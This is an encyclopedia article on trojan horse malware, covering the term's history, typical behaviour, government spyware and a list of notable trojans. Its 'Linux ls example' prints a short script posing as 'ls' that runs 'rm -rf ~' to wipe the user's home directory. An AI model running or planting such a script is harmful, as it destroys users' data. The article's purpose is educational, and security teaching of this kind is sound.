Template:Short descriptionTemplate:About
Template:Use mdy dates Template:Computer hacking In computing, a trojan horse (or simply trojan;<ref name="Collins2020"/> often capitalized,<ref name="Gregg2015"/> but see below) is a kind of malware that misleads users as to its true intent by disguising itself as a normal program.
Trojans are generally spread by some form of social engineering. For example, a user may be duped into executing an email attachment disguised to appear innocuous (e.g., a routine form to be filled in), or into clicking on a fake advertisement on the Internet. Although their payload can be anything, many modern forms act as a backdoor, contacting a controller who can then have unauthorized access to the affected device.<ref name="Broadcom2013"/> Ransomware attacks are often carried out using a trojan.
Unlike computer viruses and worms, trojans generally do not attempt to inject themselves into other files or otherwise propagate themselves.<ref>{{#invoke:citation/CS1|citation |CitationClass=web }}</ref>
Origins of the termEdit
The term is derived from the ancient Greek story of the deceptive Trojan Horse that led to the fall of the city of Troy.<ref name="Gregg2015"/>
It is unclear where and when the computing concept, and this term for it, originated; but by 1971 the first Unix manual assumed its readers knew both.<ref>{{#invoke:citation/CS1|citation |CitationClass=web }}</ref>
Another early reference is in a US Air Force report in 1974 on the analysis of vulnerability in the Multics computer systems.<ref name="Karger1974"/>
The term "Trojan horse" was popularized by Ken Thompson in his 1983 Turing Award acceptance lecture "Reflections on Trusting Trust",<ref name="Thompson1984"/> subtitled: "To what extent should one trust a statement that a program is free of Trojan horses? Perhaps it is more important to trust the people who wrote the software." He mentioned that he knew about the possible existence of trojans from a report on the security of Multics.<ref name="Karger2002"/><ref>Karger and Schell wrote that Thompson added this reference in a later version of his Turing conference speech: Template:Citation</ref>
CapitalizationEdit
The computer term "Trojan horse" is derived from the legendary Trojan Horse of the ancient city of Troy. For this reason "Trojan" is often capitalized, especially in older sources. However, many modern style guides<ref name="Microsoft2020"/> and dictionaries<ref name="Collins2020"/> suggest a lower-case "trojan" for this technical use.
BehaviorEdit
Once installed, trojans may perform a range of malicious actions. Many tend to contact one or more Command and Control (C2) servers across the Internet and await instruction. Since individual trojans typically use a specific set of ports for this communication, it can be relatively simple to detect them. Moreover, other malware could potentially "take over" the trojan, using it as a proxy for malicious action.<ref name="Crapanzano2003"/>
In German-speaking countries, spyware used or made by the government is sometimes called govware. Govware is typically used to intercept communications from the target device. Some countries like Switzerland and Germany have a legal framework governing the use of such software.<ref name="cupa">Basil Cupa, Trojan Horse Resurrected: On the Legality of the Use of Government Spyware (Govware), LISS 2013, pp. 419–428</ref><ref>{{#invoke:citation/CS1|citation |CitationClass=web }}</ref> Examples of govware trojans include the Swiss MiniPanzer and MegaPanzer<ref name="tech">{{#invoke:citation/CS1|citation |CitationClass=web }}Template:Cbignore</ref> and the German "state trojan" nicknamed R2D2.<ref name="cupa"/> German govware works by exploiting security gaps unknown to the general public and accessing smartphone data before it becomes encrypted via other applications.<ref>{{#invoke:citation/CS1|citation |CitationClass=web }}</ref>
Due to the popularity of botnets among hackers and the availability of advertising services that permit authors to violate their users' privacy, trojans are becoming more common. According to a survey conducted by BitDefender from January to June 2009, "Trojan-type malware is on the rise, accounting for 83% of the global malware detected in the world." trojans have a relationship with worms, as they spread with the help given by worms and travel across the internet with them.<ref name="Bitdefender2009"/> BitDefender has stated that approximately 15% of computers are members of a botnet, usually recruited by a trojan infection.<ref name="Datta2014"/>
Recent investigations have revealed that the trojan-horse method has been used as an attack on cloud computing systems. A trojan attack on cloud systems tries to insert an application or service into the system that can impact the cloud services by changing or stopping the functionalities. When the cloud system identifies the attacks as legitimate, the service or application is performed which can damage and infect the cloud system.<ref>Template:Cite journal</ref>
Linux ls exampleEdit
A trojan horse is a program that purports to perform some legitimate function, yet upon execution it compromises the user's security.<ref name="Wood1985"/> One simple example<ref name="CETS2023"/> is the following malicious version of the Linux ls command. An attacker would place this executable script in a publicly writable and "high-traffic" location (e.g., /tmp/ls
). Then, any victim who tried to run ls
from that directory — if and only if the victim's executable search PATH
unwisely<ref name="CETS2023"/> included the current directory .
— would execute /tmp/ls
instead of /usr/bin/ls
, and have their home directory deleted.
<syntaxhighlight lang="sh">
- !/usr/bin/env bash
rm -rf ~ 2>/dev/null # Remove the user's home directory, then remove self. rm $0 </syntaxhighlight> Similar scripts could hijack other common commands; for example, a script purporting to be the sudo command (which prompts for the user's password) could instead mail that password to the attacker.<ref name="Wood1985"/>
In these examples, the malicious program imitates the name of a well-known useful program, rather than pretending to be a novel and unfamiliar (but harmless) program. As such, these examples also resemble typosquatting and supply chain attacks.
Notable examplesEdit
Private and governmentalEdit
- ANOM – FBI
- 0zapftis / r2d2 StaatsTrojaner – DigiTask
- FinFisher – Lench IT solutions / Gamma International
- DaVinci / Galileo RCS – HackingTeam
- Magic Lantern – FBI
- SUNBURST – SVR/Cozy Bear (suspected)
- TAO QUANTUM/FOXACID – NSA
- WARRIOR PRIDE – GCHQ
Publicly availableEdit
- EGABTR – late 1980s
- Netbus – 1998 (published)<ref name="Kulakow2001"/>
- Sub7 by Mobman – 1999 (published)
- Back Orifice – 1998 (published)
- Y3K by Tselentis brothers – 2000 (published)
- Beast – 2002 (published)
- Bifrost Trojan – 2004 (published)
- DarkComet – 2008-2012 (published)
- Blackhole exploit kit – 2012 (published)
- Gh0st RAT – 2009 (published)
- MegaPanzer BundesTrojaner – 2009 (published)<ref name="MegaPanzer2016"/><ref name="MiniPanzer2016"/>
- MEMZ by Leurak – 2016 (published)
Detected by security researchersEdit
- Twelve Tricks – 1990
- Clickbot.A – 2006 (discovered)
- Zeus – 2007 (discovered)
- Flashback Trojan – 2011 (discovered)
- ZeroAccess – 2011 (discovered)
- Koobface – 2008 (discovered)
- Vundo – 2009 (discovered)
- Coreflood – 2010 (discovered)
- Tiny Banker Trojan – 2012 (discovered)
- Wirelurker - 2014 (discovered)
- Shedun (Android malware) – 2015 (discovered)<ref name="Lookout2015"/><ref name="Neal2015"/><ref name="Bentley2015"/><ref>{{#invoke:citation/CS1|citation
|CitationClass=web }}</ref><ref>{{#invoke:citation/CS1|citation |CitationClass=web }}</ref><ref>{{#invoke:citation/CS1|citation |CitationClass=web }}</ref>
See alsoEdit
- Template:Annotated link
- Template:Annotated link
- Template:Annotated link
- Template:Annotated link
- Template:Annotated link
- Template:Annotated link
- Template:Annotated link
- Template:Annotated link
- Template:Annotated link
- Template:Annotated link
- Template:Annotated link
- Template:Annotated link
- Template:Annotated link
- Template:Annotated link
- Template:Annotated link
- Template:Annotated link
- Template:Annotated link
- Template:Annotated link
ReferencesEdit
<references> <ref name="Bentley2015">{{#invoke:citation/CS1|citation |CitationClass=web }}</ref>
<ref name="Bitdefender2009">{{#invoke:citation/CS1|citation |CitationClass=web }}</ref>
<ref name="Broadcom2013">{{#invoke:citation/CS1|citation |CitationClass=web }}Template:Cbignore</ref>
<ref name="CETS2023">{{#invoke:citation/CS1|citation |CitationClass=web }}</ref>
<ref name="Collins2020">{{#invoke:citation/CS1|citation |CitationClass=web }}</ref>
<ref name="Crapanzano2003">Template:Cite report</ref>
<ref name="Datta2014">{{#invoke:citation/CS1|citation |CitationClass=web }}</ref>
<ref name="Gregg2015">Template:Cite book</ref>
<ref name="Karger1974">Template:Cite journal</ref>
<ref name="Karger2002">Template:Cite journal</ref>
<ref name="Kulakow2001">Template:Cite report</ref>
<ref name="Lookout2015">{{#invoke:citation/CS1|citation |CitationClass=web }}</ref>
<ref name="MegaPanzer2016">{{#invoke:citation/CS1|citation |CitationClass=web }}</ref>
<ref name="Microsoft2020">Template:Cite encyclopedia</ref>
<ref name="MiniPanzer2016">{{#invoke:citation/CS1|citation |CitationClass=web }}</ref>
<ref name="Neal2015">{{#invoke:citation/CS1|citation |CitationClass=web }}</ref>
<ref name="Thompson1984">Template:Cite journal</ref>
<ref name="Wood1985">Template:Cite book</ref> </references>
NotesEdit
External linksEdit
- Template:Commonscatinline
- {{#invoke:citation/CS1|citation
|CitationClass=web }}
Template:Malware Template:Information security{{#invoke:Navbox|navbox}}Template:Authority control